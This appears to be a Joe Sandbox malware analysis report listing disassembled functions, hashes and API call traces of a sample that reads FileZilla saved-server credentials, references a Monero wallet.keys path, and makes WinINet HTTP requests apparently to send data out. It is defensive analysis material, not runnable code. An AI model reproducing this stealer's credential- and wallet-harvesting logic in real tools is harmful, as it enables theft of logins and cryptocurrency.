Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519d7e9de7c277a7bd3e388c8c461a0347e35bd0e6c770b30635abc7e8aa67ba
Instruction ID: 4b6868b581e05798c035991d970908cc09bcb37299fbb231d2b39e62d5af9edd
Opcode Fuzzy Hash: 519d7e9de7c277a7bd3e388c8c461a0347e35bd0e6c770b30635abc7e8aa67ba
Instruction Fuzzy Hash: 6851F7F3E081105BF310A92DEC857AAB7D6DBD4320F2B813DDBD897784E939580586D6

Function 00B95926 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea2d2c76ef6c924e344fa714a89fd0b4b77603deaae7bf6bbbe9a6332034a461
Instruction ID: 3ee42633e333465260b4fe0d43e3cc23b2d01ed7068f9e73ec93b6314509e5f6
Opcode Fuzzy Hash: ea2d2c76ef6c924e344fa714a89fd0b4b77603deaae7bf6bbbe9a6332034a461
Instruction Fuzzy Hash: A3514CF3A082105FE3185E39ECD477AB6D6E7C4320F2B863DE999D7784D9795C018292

Function 00CCB2E3 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d54f5212e06118d1ea6089c86eca7684cba9384deb9fa695e835b4148f03d9
Instruction ID: 7152cca07d07da8edb55c824c2a8b7281e2c1a01a3c48e53a3b2322165925084
Opcode Fuzzy Hash: 67d54f5212e06118d1ea6089c86eca7684cba9384deb9fa695e835b4148f03d9
Instruction Fuzzy Hash: 925125F3A092009FF708AE38DC9673AB7D5EB84320F16463DEAD5C77C4D93958018696

Function 00BB41B9 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade99226b0a84389e750a6ece98b9c844a3bf4e21cd33a6b9a748960c330a90a
Instruction ID: 126e014348d4cc1d7a07fde716361eaea0c429fce13020978f555463a0f3df48
Opcode Fuzzy Hash: ade99226b0a84389e750a6ece98b9c844a3bf4e21cd33a6b9a748960c330a90a
Instruction Fuzzy Hash: 804122B3E082109BE304593DEC8833BB6DADBD4720F2B463EEA8497384E9749C0586D5

Function 00D0A996 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2847dc9c2be19a5224be93458c6afbfc36b15f2622797cc0d4dd959a6fcfcf
Instruction ID: 15b01d9ddc805ff73bd84d945e046b5299d8f983ac0f9fd8af6efa5eaf5976bd
Opcode Fuzzy Hash: 4a2847dc9c2be19a5224be93458c6afbfc36b15f2622797cc0d4dd959a6fcfcf
Instruction Fuzzy Hash: F6316FB290C6109FE315AE19DC85BAAFBE6FFD8760F16882DE7C483610E63554408A97

Function 00939750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00930250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 00938DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00938E0B

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009299EC
Part of subcall function 009299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00929A11
Part of subcall function 009299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00929A31
Part of subcall function 009299C0: ReadFile.KERNEL32(000000FF,?,00000000,0092148F,00000000), ref: 00929A5A
Part of subcall function 009299C0: LocalFree.KERNEL32(0092148F), ref: 00929A90
Part of subcall function 009299C0: CloseHandle.KERNEL32(000000FF), ref: 00929A9A

Part of subcall function 00938E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00938E52

GetProcessHeap.KERNEL32(00000000,000F423F,00940DBA,00940DB7,00940DB6,00940DB3), ref: 00930362
RtlAllocateHeap.NTDLL(00000000), ref: 00930369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00930385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 00930393
StrStrA.SHLWAPI(00000000,<Port>), ref: 009303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 009303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00930419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 00930427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00930463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 00930475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 00930502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 0093051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 00930532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 0093054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00930562
lstrcat.KERNEL32(?,profile: null), ref: 00930571
lstrcat.KERNEL32(?,url: ), ref: 00930580
lstrcat.KERNEL32(?,00000000), ref: 00930593
lstrcat.KERNEL32(?,00941678), ref: 009305A2
lstrcat.KERNEL32(?,00000000), ref: 009305B5
lstrcat.KERNEL32(?,0094167C), ref: 009305C4
lstrcat.KERNEL32(?,login: ), ref: 009305D3
lstrcat.KERNEL32(?,00000000), ref: 009305E6
lstrcat.KERNEL32(?,00941688), ref: 009305F5
lstrcat.KERNEL32(?,password: ), ref: 00930604
lstrcat.KERNEL32(?,00000000), ref: 00930617
lstrcat.KERNEL32(?,00941698), ref: 00930626
lstrcat.KERNEL32(?,0094169C), ref: 00930635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00940DB2), ref: 0093068E

Strings

password: , xrefs: 009305FB
<User>, xrefs: 00930410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 009302A4
browser: FileZilla, xrefs: 00930559
url: , xrefs: 00930577
<Pass encoding="base64">, xrefs: 0093045A
<Port>, xrefs: 009303C6
profile: null, xrefs: 00930568
login: , xrefs: 009305CA
<Host>, xrefs: 0093037C

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: cba32c0598786ae3e0689bafd853bc21da7c525c77e8ed526e6815f42e0a3871
Instruction ID: 0af6e46c71fa7b184da71445204e4ec787c4047d635483e9598b707949fb044a
Opcode Fuzzy Hash: cba32c0598786ae3e0689bafd853bc21da7c525c77e8ed526e6815f42e0a3871
Instruction Fuzzy Hash: 6ED12B72D00208ABCB04EBF4DD96EEE7778AF94300F544518F142B7195EE74AA4ADF62

Function 00925960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00924839
Part of subcall function 009247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00924849

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009259F8
StrCmpCA.SHLWAPI(?,0105E790), ref: 00925A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00925B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0105E820,00000000,?,0105C6F0,00000000,?,00941A1C), ref: 00925E71
lstrlen.KERNEL32(00000000), ref: 00925E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00925E93
RtlAllocateHeap.NTDLL(00000000), ref: 00925E9A
lstrlen.KERNEL32(00000000), ref: 00925EAF
lstrlen.KERNEL32(00000000), ref: 00925ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00925EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00925F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00925F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00925F4C
InternetCloseHandle.WININET(00000000), ref: 00925FB0
InternetCloseHandle.WININET(00000000), ref: 00925FBD
HttpOpenRequestA.WININET(00000000,0105E810,?,0105EAD0,00000000,00000000,00400100,00000000), ref: 00925BF8

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

InternetCloseHandle.WININET(00000000), ref: 00925FC7

Strings

------, xrefs: 00925D4C
------, xrefs: 00925A96
", xrefs: 00925CD5
------, xrefs: 00925C0B
", xrefs: 00925E16

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: c970b10435e9d0d1bdda970d0802c00141f4c3099360d70b37c2bb6a077b4a6f
Instruction ID: 892daa2d1f0337a5d6c6895d156370e252757931d2f6f1be4701e414f4164cee
Opcode Fuzzy Hash: c970b10435e9d0d1bdda970d0802c00141f4c3099360d70b37c2bb6a077b4a6f
Instruction Fuzzy Hash: 6A12CD72820118AADB15EBA0DC95FEEB378BF94700F504199F146B3091EF746E49CF66

Function 0092CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 00938B60: GetSystemTime.KERNEL32(00940E1A,0105C720,009405AE,?,?,009213F9,?,0000001A,00940E1A,00000000,?,01059110,?,\Monero\wallet.keys,00940E17), ref: 00938B86

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0092CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0092D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0092D0CE
lstrcat.KERNEL32(?,00000000), ref: 0092D208
lstrcat.KERNEL32(?,00941478), ref: 0092D217
lstrcat.KERNEL32(?,00000000), ref: 0092D22A
lstrcat.KERNEL32(?,0094147C), ref: 0092D239
lstrcat.KERNEL32(?,00000000), ref: 0092D24C
lstrcat.KERNEL32(?,00941480), ref: 0092D25B
lstrcat.KERNEL32(?,00000000), ref: 0092D26E
lstrcat.KERNEL32(?,00941484), ref: 0092D27D
lstrcat.KERNEL32(?,00000000), ref: 0092D290
lstrcat.KERNEL32(?,00941488), ref: 0092D29F
lstrcat.KERNEL32(?,00000000), ref: 0092D2B2
lstrcat.KERNEL32(?,0094148C), ref: 0092D2C1
lstrcat.KERNEL32(?,00000000), ref: 0092D2D4
lstrcat.KERNEL32(?,00941490), ref: 0092D2E3

Part of subcall function 0093A820: lstrlen.KERNEL32(00924F05,?,?,00924F05,00940DDE), ref: 0093A82B
Part of subcall function 0093A820: lstrcpy.KERNEL32(00940DDE,00000000), ref: 0093A885

lstrlen.KERNEL32(?), ref: 0092D32A
lstrlen.KERNEL32(?), ref: 0092D339

Part of subcall function 0093AA70: StrCmpCA.SHLWAPI(01058DC0,0092A7A7,?,0092A7A7,01058DC0), ref: 0093AA8F

DeleteFileA.KERNEL32(00000000), ref: 0092D3B4

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 7aaf58955b07fad885baa56c3ce3aff3680f8eb0f198c366101af020b109d6c1
Instruction ID: 7d96ccc95306e4dbb50c5f9510be7337f22523a45e3826919b5b2162f6ca74ba
Opcode Fuzzy Hash: 7aaf58955b07fad885baa56c3ce3aff3680f8eb0f198c366101af020b109d6c1
Instruction Fuzzy Hash: 66E1F972910108ABCB04EBA0DD96FEE7379AF94301F104158F147B70A1DE79AE0ADF66

Function 0092C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
